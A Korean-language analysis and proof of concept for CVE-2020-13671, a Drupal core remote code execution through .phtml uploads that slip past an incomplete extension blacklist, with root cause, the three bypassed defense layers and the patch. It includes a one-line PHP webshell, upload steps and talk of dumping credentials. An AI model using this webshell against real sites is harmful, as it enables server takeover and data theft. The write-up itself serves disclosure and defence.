
CVE-2020-13671에 대한 상세 분석 및 개념 증명(PoC) — 파일 업로드를 통한 Drupal 코어 원격 코드 실행 취약점으로, 근본 원인, 악용 단계 및 해결 방법을 포함합니다.
소프트웨어: Drupal Core 8.7.5 (영향: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (높음)
CWE: CWE-434 — 위험한 유형의 파일 무제한 업로드
CISA KEV: 예 — 알려진 악용 취약점
보안 권고: SA-CORE-2020-012
Drupal은 PHP로 작성된 오픈소스 콘텐츠 관리 시스템(CMS)입니다. WordPress나 Joomla와 유사하지만 엔터프라이즈 웹사이트, 다국어 플랫폼 같은 더 복잡한 시스템 구축에 더 적합합니다. Drupal은 모듈형 아키텍처를 사용하며, 사용 가능한 모듈을 활성화/비활성화하거나 커뮤니티에서 추가 모듈을 설치하여 기능을 확장할 수 있습니다.
모든 CMS의 기본 기능 중 하나는 사용자가 파일을 업로드할 수 있게 하는 것입니다 — 프로필 아바타, 첨부 문서, 기사 내 첨부 파일 등. Drupal은 이러한 파일을 sites/default/files/ 디렉토리에 저장하고 웹 서버(Apache 또는 Nginx)를 통해 직접 제공합니다.
⇒ 이것은 명확한 공격 표면을 만듭니다: 공격자가 PHP 파일을 해당 디렉토리에 업로드할 수 있다면, 웹 서버는 들어오는 요청을 통해 접근할 때 그 파일을 실행할 것입니다.
이를 방지하기 위해 Drupal은 여러 방어 계층을 구축합니다: 파일 확장자 검증, 위험한 파일 이름 변경, 업로드 디렉토리에서 스크립트 실행을 차단하는 .htaccess 배치. 그러나 8.7.5 버전에서 공격자는 바로 이러한 계층 사이의 사각지대를 악용합니다.
이 취약점은 파일 업로드 권한이 있는 계정을 필요로 합니다. 기본적으로 Drupal 8.7.5에서 일반 사용자(Authenticated)는 콘텐츠 보기와 댓글 작성 권한만 있으며 — 기사 작성이나 파일 업로드 권한은 없습니다.
| 계정 | 악용 가능? | 설명 |
|---|---|---|
| 관리자 | 예 | 전체 업로드 권한 보유 |
| 편집자 / 콘텐츠 작성자 | 예 | "콘텐츠 만들기" 권한과 관리자의 업로드 허용이 부여된 경우 |
| 인증된 사용자 (기본값) | 아니요 | 기본적으로 콘텐츠 생성 또는 업로드 권한 없음 |
| 익명 사용자 (로그인하지 않음) | 아니요 | 업로드 권한 없음 |
그러나 실제로 많은 Drupal 사이트는 일반 사용자에게 콘텐츠 생성 권한을 부여합니다(포럼, 커뮤니티 블로그, 기사 제출을 허용하는 뉴스 사이트). 이런 경우 공격자는 계정을 등록하기만 하면 악용할 수 있습니다.
공격 흐름:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
core/modules/file/file.module 파일에는 어떤 파일이 실행 가능한 것으로 간주되는지 결정하는 단일 정규식이 있습니다:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

이 정규식은 phar, php, pl, py, cgi, asp, js 총 7개의 확장자를 나열합니다. 이 목록과 일치하는 확장자를 가진 파일은 Drupal에 의해 자동으로 .txt가 추가되어 — 실행 능력을 무력화합니다.
그러나 PHP 엔진은 .php 파일만 처리하지 않습니다. 웹 서버 구성에 따라 다른 확장자도 인식하고 실행합니다:
| 확장자 | 의미 | 정규식에 포함? |
|---|---|---|
.php | PHP 표준 | 예 |
.phtml | PHP 대체 템플릿 | 아니요 |
.php5 | PHP 5 핸들러 | 아니요 |
.pht | PHP 템플릿 | 아니요 |
.phps | PHP 소스 | 아니요 |
.shtml | 서버 사이드 인클루드 | 아니요 |
5개의 PHP 확장 변형이 정규식에서 완전히 누락되어 있습니다. 즉, shell.phtml이라는 파일이 Drupal에 업로드되면 → 정규식이 일치하지 않음 → 이름이 바뀌지 않음 → 원래 이름 그대로 업로드 디렉토리에 저장됨 → 웹 서버가 .phtml을 보고 → PHP로 실행 → 공격자가 RCE를 달성합니다. 이것이 근본 원인입니다: Drupal은 위험한 확장자를 차단하기 위해 블랙리스트를 사용했지만, 그 목록이 불완전했습니다.
사용자가 파일을 업로드하면 Drupal은 저장하기 전에 3가지 검증 함수를 통과시킵니다. 다음은 .phtml에 대해 이 3가지가 모두 실패하는 이유에 대한 분석입니다.
file_munge_filename() (core/includes/file.inc)목적: 파일명 중간에 있는 위험한 확장자를 감지하고 _를 추가해 무력화하는 것. 함수 작동 방식:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
예를 들어 shell.phtml의 경우:
explode는 ["shell", "phtml"]로 분리shift는 "shell"을 가져오고 ["phtml"]이 남음pop은 "phtml"을 가져오고 []이 남음foreach는 실행되지 않음"shell.phtml"을 그대로 반환그러나 파일에 단일 확장자만 있는 경우에는 개입하지 않습니다. 따라서 이 함수는 여러 확장자를 가진 파일만 처리하도록 설계되었습니다.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)이것이 주요 방어 계층입니다. 1015행의 코드:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
파일명이 정규식과 일치하면 → MIME을 text/plain으로 변경하고 끝에 .txt를 추가합니다.
shell.phtml의 경우:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml')은 0을 반환따라서 이 섹션은 위험한 파일을 차단해야 했지만, 정규식이 .phtml이 위험하다는 것을 알지 못하기 때문에 그대로 통과됩니다.
.htaccessDrupal은 sites/default/files/에 .htaccess 파일을 배치합니다:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
php_flag engine off 지시문은 디렉토리 전체에서 PHP 엔진을 끄지만, mod_php5에만 적용됩니다. Drupal 8.7.5는 PHP 7에서 실행되므로 mod_php7이 활성화되어 있고 비활성화되지 않습니다.
또한 .htaccess에는 다른 3가지 약점도 있습니다:
.htaccess를 읽지 않음 — 이 파일은 Nginx에서 완전히 무효AllowOverride None 으로 구성된 Apache → .htaccess가 무시됨mod_php 대신 PHP-FPM을 사용하는 서버 → php_flag 지시문이 효과 없음echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
업로드 권한이 있는 계정으로 Drupal에 로그인 → 콘텐츠(Content) → 콘텐츠 추가 → 문서(Article) → Image 필드에서 webshell.phtml 파일 선택 → 업로드.
Drupal은 파일을 수락하고 이름을 바꾸지 않으며 원래 이름 그대로 sites/default/files/에 저장합니다.

그런 다음 whoami로 셸 호출을 실행합니다:

따라서 우리는 www-data 권한으로 RCE를 성공적으로 달성했습니다.
자격 증명을 확인하기 위해 추가 테스트:

공격자는 데이터베이스 자격 증명이 포함된 settings.php를 읽고, 전체 DB를 덤프하고, 리버스 셸을 설치하거나, 루트로 권한을 상승시킬 수 있습니다.
정규식 업데이트 — 누락된 5개 확장자 추가:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
.htaccess 업데이트 — mod_php7 비활성화 추가:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
패치는 작동하지만 여전히 블랙리스트에 의존합니다. 향후 새로운 확장자(.php8, .phpt)가 등장하면 정규식을 다시 업데이트해야 합니다. 화이트리스트 방식 — 알려진 안전한 확장자만 허용하는 방식 — 이 더 철저한 접근 방식이 될 것입니다.
| 취약 파일 | core/modules/file/file.module 28행 |
|---|---|
| 근본 원인 | 정규식 블랙리스트에 .phtml, .php5, .pht, .phps, .shtml 누락 |
| 영향 | .phtml 업로드 → 서버가 실행 → RCE |
| 우회된 3가지 방어 계층 | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| 패치 | 정규식에 5개 확장자 추가 + .htaccess에서 mod_php7 비활성화 |